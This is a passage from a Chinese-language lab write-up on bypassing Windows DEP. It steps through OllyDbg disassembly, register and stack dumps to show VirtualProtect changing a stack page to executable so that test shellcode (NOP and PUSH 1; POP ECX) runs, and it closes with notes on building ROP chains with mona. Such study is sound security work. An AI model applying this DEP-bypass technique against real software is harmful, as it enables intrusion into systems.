75D7E50F	C2 1000	RETN 10		P 1 CS 001B 32 位 0(FFFFFFFF)
75D7E512	90	NOP		A 0 SS 0023 32 位 0(FFFFFFFF)
75D7E513	90	NOP		Z 1 DS 0023 32 位 0(FFFFFFFF)
75D7E514	90	NOP		S 0 FS 003B 32 位 7FFDF000(FFF)
75D7E515	90	NOP		T 0 GS 0000 NULL
75D7E516	90	NOP		D 0
75D7E517	8BFF	MOV EDI,EDI		O 0 LastErr ERROR_INVALID_ADDRESS (000001E7)
75D7E519	55	PUSH EBP		EFL 00000246 (NO, NB, E, BE, NS, PE, GE, LE)
75D7E51A	8BEC	MOV EBP,ESP		ST0 empty 0.0
75D7E51B	8BEC	MOV EBP,ESP		ST1 empty 0.0
75D7E51C	8BEC	MOV EBP,ESP		ST2 empty 0.0
地址	十六进制	反汇编	注释	寄存器 <FPU>
00402000	2B B0 1B 77 20 F0 9C 77 CB E0 1A 77 44 FE 1B 77	+?w 体w前+?D?w		0012FF10 75DAC58D KERNELBA.75DAC58D
00402010	12 F2 1B 77 A7 F2 1B 77 4C 32 9D 77 B4 0D 1C 77	+?w +wL2?w		0012FF14 75DAC58D KERNELBA.75DAC58D
00402020	00 00 00 00 0F 0F 39 69 10 6E 36 69 53 FA 31 69	....w?i>n6iS?i		0012FF18 0012FF2C
00402030	37 FA 31 69 34 86 3B 69 48 87 3B 69 40 86 3B 69	??i4?iH?i?i		0012FF1C 00000201

如上图，返回值为0，修改内存属性仍失败

LastErr显示错误为ERRPR\_INVALID\_ADDRESS (000001E7)，表示地址错误

测试6:

查看正常调用函数VirtualProtect()时的堆栈，对比测试5，分析失败原因

正常调用的实现代码如下:

```
int main()
{
    void *p=malloc(16);
    printf("0x%08xn",p);
    DWORD pflOldProtect;
    int x=VirtualProtect(p,4,0x40,&pflOldProtect);
    printf("%dn",x);
    return 0;
}
```

测试7:

如果将起始地址修改为一个不能访问的地址，如0x40303020

编译程序，放在OllyDbg中调试

单步跟踪到CALL KERNELBA.VirtualProtectEX，查看堆栈

格式如图

地址	十六进制	反汇编	注释
7715EFC3	8BFF	MOV EDI,EDI	
7715EFC5	55	PUSH EBP	
7715EFC6	8DEC	MOV EBP,ESP	
7715EFC8	FF75 14	PUSH DWORD PTR SS:[EBP+14]	
7715EFCB	FF75 10	PUSH DWORD PTR SS:[EBP+10]	
7715EFCF	FF75 0C	PUSH DWORD PTR SS:[EBP+C]	
7715EFD1	FF75 08	PUSH DWORD PTR SS:[EBP+8]	
7715EFD4	6A FF	PUSH -1	
7715EFD6	E8 C1FFFFFF	CALL KERNELBA.VirtualProtectEx	
7715EFD8	5D	POP EBP	
7715EFD9	C2 1000	RETN 10	
7715EFD9	CC	INT3	
7715EFD9	CC	INT3	

7715EE9C-KERNELBA.VirtualProtectEx

地址	十六进制	ASCII	地址	值	注释
01331000	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDC0	FFFFFFFF	hProcess = FFFFFFFF
01331010	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDC4	40303020	Address = 40303020
01331020	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDC8	00000004	Size = 4
01331030	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDCC	00000040	NewProtect = PAGE_EXECUTE_READWRITE
01331040	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDD0	0035FEC8	pOldProtect = 0035FEC8
01331050	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDD4	0035FEDC	
01331060	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDD8	013414A5	返回到 ASM.013414A5 来自 kernel32.VirtualProtect
01331070	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDDC	40303020	
01331080	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....	0035FDE0	00000004	

按F8单步执行，查看结果

如图，产生同样错误：ERRPR\_INVALID\_ADDRESS (000001E7)

地址	十六进制	反汇编	注释	寄存器 (FPU)
7715EFC3	8BFF	MOV EDI,EDI		EAX 00000000
7715EFC5	55	PUSH EBP		ECK 7EFD0000
7715EFC6	8BEC	MOV EBP,ESP		EDX 000001F7
7715EFC8	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 7EFD0000
7715EFCB	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0035FDD4
7715EFCF	FF75 0C	PUSH DWORD PTR SS:[EBP+C]		EBP 0035FDD4
7715EFD1	FF75 08	PUSH DWORD PTR SS:[EBP+8]		ESI 0035FDEC
7715EFD4	6A FF	PUSH -1		EDI 0035FDEC
7715EFD6	E8 C1FFFFFF	CALL KERNELBA.VirtualProtectEx		EIP 7715EFD8 KERNELBA.7715EFD8
7715EFD8	5D	POP EBP	0035FDEC	C 0 ES 002B 32 位 0<FFFFFFFF>
7715EFD9	C2 1000	RETN 10		P 1 CS 0023 32 位 0<FFFFFFFF>
7715EFD9	CC	INT3		A 0 SS 002B 32 位 0<FFFFFFFF>
7715EFD9	CC	INT3		Z 1 DS 002B 32 位 0<FFFFFFFF>
7715EFD9	CC	INT3		S 0 FS 0053 32 位 7EFD0000<FFF>
7715EFD9	CC	INT3		T 0 GS 002B 32 位 0<FFFFFFFF>
7715EFD9	CC	INT3		D 0
7715EFD9	CC	INT3		O 0 LastErr ERROR_INVALID_ADDRESS <000001F7>
7715EFD9	CC	INT3		EFL 00000246 <NO,NE,E,BE,NS,PE,GE,LE>
7715EFD9	CC	INT3		ST0 empty 0.0
7715EFD9	CC	INT3		ST1 empty 0.0
7715EFD9	CC	INT3		ST2 empty 0.0

猜测，shellcode传入的起始地址有问题

继续我们的测试

## 测试8

接着测试5，单步跟踪到CALL KERNELBA.VirtualProtectEx，尝试修改堆栈中的数据

将内存地址0x0012FF2c修改为当前内存页的起始地址，即0x0012F000

如图

地址	十六进制	反汇编	注释	寄存器 (FPU)
75D7E4F6	8BFF	MOV EDI,EDI		EAX 90909090
75D7E4F8	55	PUSH EBP		ECK 693BE00D ASCII "ationByHandle"
75D7E4F9	8BEC	MOV EBP,ESP		EDX 00000040
75D7E4FB	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 00000201
75D7E4FE	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0012FEFC
75D7E501	FF75 0C	PUSH DWORD PTR SS:[EBP+C]		EBP 0012FF10
75D7E504	FF75 08	PUSH DWORD PTR SS:[EBP+8]		ESI 75D7E4F6 KERNELBA.VirtualProtect
75D7E507	6A FF	PUSH -1		EDI 69354486 MSUCR110.69354486
75D7E509	E8 09000000	CALL KERNELBA.VirtualProtectEx		EIP 75D7E509 KERNELBA.75D7E509
75D7E50E	5D	POP EBP		C 1 ES 0023 32 位 0<FFFFFFFF>
75D7E50F	C2 1000	RETN 10		P 0 CS 001B 32 位 0<FFFFFFFF>
75D7E512	90	NOP		A 0 SS 0023 32 位 0<FFFFFFFF>
75D7E513	90	NOP		Z 0 DS 0023 32 位 0<FFFFFFFF>
75D7E514	90	NOP		S 0 FS 003B 32 位 7FFDF000<FFF>
75D7E515	90	NOP		T 0 GS 0000 NULL
75D7E516	90	NOP		D 0
75D7E517	8BFF	MOV EDI,EDI		O 0 LastErr ERROR_SUCCESS <00000000>
75D7E519	55	PUSH EBP		EFL 00000203 <NO,B,NE,BE,NS,PO,GE,G>
75D7E51A	8BEC	MOV EBP,ESP		ST0 empty 0.0
75D7E517=KERNELBA.VirtualProtectEx				ST1 empty 0.0
75D7E517=KERNELBA.VirtualProtectEx				ST2 empty 0.0

  

地址	十六进制	ASCII	地址	值	注释
00402000	2B B0 1B 77 20 F0 9C 77 CB E0 1A 77 44 FE 1B 77	*?w 体肃?wD?w	0012FEFC	FFFFFFFF	hProcess = FFFFFFFF
00402010	12 F2 1B 77 A7 F2 1B 77 4C 32 9D 77 B4 0D 1C 77	??w +vL2澳?+w	0012FF00	0012F000	Address = 0012F000
00402020	00 00 00 00 0F 0F 39 69 10 6E 36 69 53 FA 31 69	...??i?n6iS?i	0012FF04	00000201	Size = 201 <513..>
00402030	37 FA 31 69 34 86 3B 69 40 87 3B 69 40 86 3B 69	??i4?iH?ie?i	0012FF08	00000040	NewProtect = PAGE_EXECUTE_READWRITE
00402040	24 91 38 69 39 7B 31 69 9B 0D 32 69 E8 FF 2F 69	\$?i9<1i?2i?/?i	0012FF0C	693BE00D	OldProtect = MSUCR110.693BE00D
00402050	3F 04 30 69 52 3A 30 69 84 6C 31 69 59 F9 38 69	??0iR:0i?iiv?i	0012FF10	75DAC58D	KERNELBA.75DAC58D
00402060	57 7F 31 69 F4 45 30 69 B7 28 39 69 DD 00 39 69	Woi?i?i?i?i?i	0012FF14	75DAC58D	KERNELBA.75DAC58D
00402070	C8 00 39 69 64 71 36 69 2B 0F 32 69 AE 70 31 69	??idq6i+?2i?i	0012FF18	0012FF2C	

按F8单步执行，查看结果

如下图，寄存器EAX的值为1，即返回值为1，成功修改内存属性

地址	十六进制	反汇编	注释	寄存器 <FPU>
75D7E4F6	8BFF	MOV EDI,EDI		EAX 00000001
75D7E4F8	55	PUSH EBP		ECX 0012FED0
75D7E4F9	8BEC	MOV EBP,ESP		EDX 779B64F4 ntdll.KiFastSystemCallRet
75D7E4FB	FF75 14	PUSH DWORD PTR SS:[EBP+14]		EBX 00000201
75D7E4FE	FF75 10	PUSH DWORD PTR SS:[EBP+10]		ESP 0012FF10
75D7E501	FF75 0C	PUSH DWORD PTR SS:[EBP+0C]		EBP 0012FF10
75D7E504	FF75 08	PUSH DWORD PTR SS:[EBP+08]		ESI 75D7E4F6 KERNELBA.VirtualProtect
75D7E507	6A FF	PUSH -1		EDI 69354486 MSUCR110.69354486
75D7E509	E8 09000000	CALL KERNELBA.VirtualProtectEx		EIP 75D7E50E KERNELBA.75D7E50E
75D7E50E	5D	POP EBP	KERNELBA.75D0C58D	C 0 ES 0023 32 位 0<FFFFFFFF>
75D7E50F	C2 1000	RETN 10		P 0 CS 001B 32 位 0<FFFFFFFF>
75D7E512	90	NOP		A 0 SS 0023 32 位 0<FFFFFFFF>
75D7E513	90	NOP		Z 0 DS 0023 32 位 0<FFFFFFFF>
75D7E514	90	NOP		S 0 FS 003B 32 位 7FFDF000<FFF>
75D7E515	90	NOP		T 0 GS 0000 NULL
75D7E516	90	NOP		D 0
75D7E517	8BFF	MOV EDI,EDI		O 0 LastErr ERROR_SUCCESS <00000000>
75D7E519	55	PUSH EBP		EFL 00000202 <NO,NB,NE,A,NS,PO,GE,G>
75D7E51A	8BEC	MOV EBP,ESP		ST0 empty 0.0
堆栈 [0012FF10]=75D0C58D <KERNELBA.75D0C58D>				ST1 empty 0.0
EBP=0012FF10				ST2 empty 0.0

接着向下执行，在CALL ESP的位置按下F7，单步入

地址	十六进制	反汇编	注释	寄存器 <FPU>
0012FF28	90	NOP		EAX 00000001
0012FF29	90	NOP		ECX 00000001
0012FF2A	90	NOP		EDX 779B64F4 ntdll.KiFastSystemCallRet
0012FF2B	90	NOP		EBX 00000201
0012FF2C	6A 01	PUSH 1		ESP 0012FF24
0012FF2E	59	POP ECX		EBP 75D0C58D KERNELBA.75D0C58D
0012FF2F	90	NOP		ESI 75D7E4F6 KERNELBA.VirtualProtect
0012FF30	90	NOP		EDI 69354486 MSUCR110.69354486
0012FF31	90	NOP		EIP 0012FF2F
0012FF32	90	NOP		C 0 ES 0023 32 位 0<FFFFFFFF>
0012FF33	90	NOP		P 0 CS 001B 32 位 0<FFFFFFFF>
0012FF34	90	NOP		A 0 SS 0023 32 位 0<FFFFFFFF>
0012FF35	90	NOP		Z 0 DS 0023 32 位 0<FFFFFFFF>
0012FF36	90	NOP		

如上图，发现PUSH 1;POP ECX成功执行，测试成功，成功通过VirtualProtect绕过DEP，执行数据段的shellcode

注：

这种情况下，VirtualProtectEx一次最大只能修改4096长度的内存(即一个内存页的长度)，且不能跨页修改，如果越界，返回值为0，修改失败

通过C调用函数VirtualProtect不存在上述问题，可跨页，长度大于4096

## 0x05 小结

为了在Win7下搭建测试环境，对VS2012的编译配置需要特别注意，多重保护在提高程序安全性的同时也给环境搭建带来了麻烦

不同系统下可供使用的替代指令往往不同，需要不断变换思路，构造合适的ROP链

另外，Immunity Debugger的mona插件可为ROP链的编写提供便利，但要注意存在bug的情况，需要更多的测试和优化

如果shellcode长度大于4096，使用VirtualProtect关闭DEP会失败，需要选择其他方法